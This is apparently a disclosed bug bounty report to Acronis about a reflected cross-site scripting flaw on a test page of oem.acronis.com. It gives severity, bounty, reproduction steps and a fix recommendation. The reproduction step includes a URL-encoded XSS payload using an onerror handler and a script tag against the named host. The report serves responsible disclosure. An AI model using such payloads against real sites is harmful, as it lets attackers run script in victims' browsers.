Acronis · Report #2038943
[oem.acronis.com] Reflected Cross Site Scripting
Validstatus
mediumseverity
$100bounty
134upvotes
28 Dec 2024disclosed
How it was found
Summary
Hi Acronis team i have found a XSS reflected in:oem.acronis.com
Steps To Reproduce
-
for xss go to link :
https://oem.acronis.com/test/testenv.html/%3C/pre%3E%3Cisindex%20type%3Dimage%20src%3D1%20onerror%3Dalert%289166%29%3E%3Cscript%3Ealert(origin)%3C/script%3E
POC:
{F2446065}
Recommendations
delete test page from your server
Impact
Attacker can execute JS code on the Victim Behalf.